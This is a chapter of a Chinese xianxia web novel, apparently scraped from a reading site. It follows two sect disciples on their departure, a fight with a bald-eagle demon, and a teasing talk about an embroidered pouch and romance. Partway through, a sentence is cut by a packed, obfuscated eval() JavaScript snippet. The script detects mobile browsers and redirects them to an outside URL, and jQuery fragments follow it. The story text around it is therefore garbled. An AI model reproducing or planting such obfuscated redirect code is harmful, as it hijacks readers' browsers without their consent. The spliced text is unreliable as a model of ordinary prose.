16. 荷包
作品:《白月光死遁后成了仙界首富》 万岳玄都边界,那蜿蜒山道的终点,或者说是起点,一黄一黑两个身影立于众人当前。
他们的随身空间都装满了,还各自另外背负着几件行囊,俨然一副将要远行的模样。
“祓魔顺利啊,洛老板!”
“师弟师妹一路顺风。遇险别硬抗,及时往山里传讯。”
“萧师兄,路上小心,注意安全呀~”
“等你们捷报!”
“嗯,借诸位吉言。”
萧寒策站直身形,朝众人微一拱拳,此即算作告辞。
不似他那般冷淡,洛望舒恳切而又用力地挥舞着双手:“再见了大家!我和阿策必不负师门所托!”
她将愿意同她拥抱的人一个挨一个地抱过去,看得萧寒策直皱眉。
“师姐,时候不早了,我们该启程了。”
洛望舒没理他,又和一位十分眼熟的同门寒暄开,势必要同所有来送行的人都一个不落地告别。
这或许是她最后一次见到他们了。
终于,洛望舒依依不舍地将最后一个人松开,这才笑眼弯弯,把一只手伸到萧寒策面前。
萧寒策神色终于缓和下来。
遇到这种时候,他总是出乎意料地上道,随即便将自己的手心也叩上去。
十指“啪”地一声相合,传递出彼此温热的温度。
“邪祟退散,一路平安!”
“……一路平安。”
萧寒策总算是接了句话。
与众人告了别,二人便御剑腾空而起,时行千里。
万岳玄都地界即出,高耸入云的山脉从身后退去,脚下逐渐显露出一片广袤的平原。
鹅黄的飘带被长风撩起,与旁边人飞扬的衣角时而相触,时而分离。
“终于穿上师姐给你买的衣服了?”
萧寒策淡笑着应道:“今天是个大场合。”
洛望舒望向自己亲手选的那身衣裳,怎么看怎么满意。
衣料最外层选用极为特殊的玄金锦,打眼瞧去只是一团朴素的墨色,被风拂动后,却隐约浮动着一种流光溢彩的华贵光泽,真应了那句“低调而不失奢华”。
层叠衣料之下,宽阔的脊背撑起完美的弧度,腰封勒紧,勾勒出腰肢劲瘦有力的线条。
且不论腰间那墨玉蹀躞带环扣,今日,就连萧寒策束发的发扣都由她一手挑选,把浓密的乌发高高扎起,发尾随风轻轻摇动,少年气十足。
一个字形容,就是帅!
两个字形容,就是很帅!
三个字形容,就是太帅了!
人靠衣装马靠鞍,如果萧寒策平时是个八分的大帅哥,那换上自己精挑细选的衣服后,洛望舒便肯给他打十分!
在洛望舒打量艺术品般直勾勾的眼神下,萧寒策有些不自在。
“看够了吗,皎皎……师姐?”
“没呢没呢。”
洛望舒双眸含笑,继续毫无顾忌地端详他。
毕竟是自己含辛茹苦带大的小崽子,此时再不多看两眼,今后就再也看不到啦!
萧寒策别过头去,轻咳两声。
先前刚改掉爱脸红的小习性不久,如今耳根子便又温热了起来。
这时,忽地有一道硕大无朋的黑影从半空中窜上来,翅膀扑簌,发出雨打芭蕉般宏亮的声响。
——是只禽妖!
原书中本就有这段剧情,故而洛望舒早有预料。
“小师弟,这小怪就交给你啦。”
她指尖轻勾,剑身向高空攀升,
正所谓事不关己,高高挂起——物理意义上的。
“小师姐!”
这人遇到妖怪拔腿就跑,饶是萧寒策平日对她百般纵容,当下都有些无可奈何。
不过此时他已什么都顾不上了,因为大海雕来势汹汹,锋利的喙、尖锐的爪迅疾地往人身上挂去。
洛望舒站在高空,嘴角挂着一抹浅笑,看戏似的朝下面望去。
只见那鸟妖长了个白脑袋。
白头海雕?鹰酱阿美利卡!
搞错了吧,这种鸟类只在美洲大陆存在,怎会出现在天朝修仙小说当中?
咱天朝猛禽类精怪的原型,最好是金雕,再不济来个白尾海雕也行呗。
无良作者,莫得常识,不去考据,乱写小说!
这只怪是《一念霜寒九州绝》的作者特意安排的锦鲤奖励,成精已达千年,不止灵核对修为大有裨益,就连那身羽毛都可做成精锐武器,只有幸运值拉满的主角才能遇到。
不过同时,这也意味着它很难打。
萧寒策全神贯注地与之对抗着,虽是占据上风,但到底空中作战不是主场,故而力有不逮。
而且,那鸟妖血条快空时忽地回光返照,决计拼死一搏。
眼见着鸟喙将要啄到萧寒策的左眼——
高空终于抛下一道光刃,将鸟头弹开。
萧寒策随即在手中凝出一道光束,击透鸟的颈羽。
手心挨上方才击打出的创口处,本该汩汩流出的血液化作一股灵流,被他汲取干净。
萧寒策这个人有些奇怪。
他的确有几分真本事在身上,周围人遇到麻烦时也有求必应,但平日里却相当低调,有旁人要揽活儿时他绝对不抢,有功劳他也不争。
不过,当他遇见洛望舒,却相当于佛系的碰上了一个真懒的,真真是玉帝愁蟠桃宴——无计可施了。
由于师姐乐于当甩手掌柜,做师弟的只得包办下一切,倒也终于体现出他做事周全的优点来。
但是吧,可能萧寒策小时候被师姐保护的次数太多了,潜移默化中塑造出他的一种英雄救美的情结。
他不愿当英雄,而要当那个被救的美人。
“师姐,我就知道你不会不管我。”
言语间,竟是有些……娇羞?
萧寒策说着,领着那被吸干了的空鸟壳子,御剑朝洛望舒靠近。
他也没留意方才因为打斗有些微微敞开的新衣服。
“阿策,好像有什么东西从你行囊中掉出来了。”
洛望舒眼疾手快,风在耳畔呼啸而过,她以那物体下坠十倍的速度飞身而去,将其捞起,递到萧寒策手里。
萧寒策看到她这一套行云流水般的举动,愈发小媳妇儿样了,几乎像个师妹似地说:“多谢师姐。”
洛望舒轻笑着摇了摇头。
那东西是一只绣着芙蓉纹样的荷包,图案精美、针脚细密,一看就不是山下批量产的,而是某人亲手制作的。
今年新入门的弟子中,的确有几位或娴静或活泼的小师妹,一个比一个青春可爱,都很喜欢围在萧寒策身边,师兄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087507|179012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长师兄短的唤他,要不是萧寒策总借口要去送外卖为由躲开,那架势,真真要比起当年萧寒策粘她还有过之而无不及。
等下,好像在原书中,那群小师妹里确实有被后来的萧寒策纳入后宫的吧?
似乎还不止一位??
洛望舒心中一凛。
她原本并非那种喜欢介入旁人的因果的人,或者说她其实是太懒了。可萧寒策待她亲近,她不情愿看到一株亲手养大的好苗子长歪了,总也忍不住想要去扶一把。
最主要的是,她实在不忍心看到真挚动人的女孩子们被渣男糟践了啊喂!
“阿策,你而今可有中意的女孩子?”
洛望舒状似无意地问道。
萧寒策心跳如擂鼓。
他以为自己已经藏得很好了,难道还是被师姐感知出了吗?
年纪尚轻时,很容易将喜欢上的第一个人视为此生的唯一,此时萧寒策连一点儿她话语中异样的端倪都未曾觉察出来。
“阿策啊,不管你现在有没有喜欢的人,我这个做师姐的都想和你说两句。人有悲欢离合,月有阴晴圆缺。遇到一个人便能相守一生,自然是幸事,但因为一些诸如阴差阳错啊、磨合不来啊的事情带来了遗憾,这才是常态。”
师姐又在说这种话了,他可做不到她口中那般洒脱。
萧寒策心中苦笑,而那真相恐怕比他心中所想的还要差上一点儿。
可紧接着,洛望舒话锋一转:“不过,当你真心倾慕一个人的时候,便应当心无旁骛、从一而终了,不可再想着那些有的没的,三心二意乃是大忌,知道吗?”
萧寒策这回深感认同,他点点头道:“师姐所言极是。”
“那师姐呢,师姐你可有心悦之人?”
萧寒策面上神色自如,心却紧张得砰砰直跳,他既期待听到答案,又害怕听到答案。
洛望舒挠挠头:“额,好像从未有过……”
……果然如此。
萧寒策扶额,说不上是喜悦多一点儿,还是无奈多一点儿。
接着,她又清了清嗓子:“咳咳,正所谓‘当局者迷旁观者清’,我没有感情经历,也不代表我不可以教育你嘛。”
“嗯,我最听师姐的话了,师姐让我怎么做,我便怎么做。”
萧寒策面不改色道。
“哎,乖孩子。”
萧寒策也是没有什么经验,情感迟钝的,过了好一会儿他才反应过来。
“皎皎师姐,你方才不会是因为那荷包才问我那些事情的吧?”
洛望舒转移话题:“叫什么皎皎,没大没小。”
“不是你想的那样师姐!那荷包、那个荷包是刚进山的时候我娘给我的!”
也没待她真的编出什么理由,萧寒策便急切地辩驳。
好像有什么沉甸甸的事物卸下,洛望舒心头忽地一轻,也说不上究竟是什么感受。
她摇摇头,企图将那种感觉从脑海中驱散开。
“哈哈,真的吗?可是我看那荷包还挺新。”
洛望舒熟稔地调侃着。
“因为是我娘送的,所以一直好好收起来,没怎么真的用过……”
萧寒策说着说着,声音越来越低。
说到底,自己这么急着解释干什么呢?
小师姐她会在乎这些吗?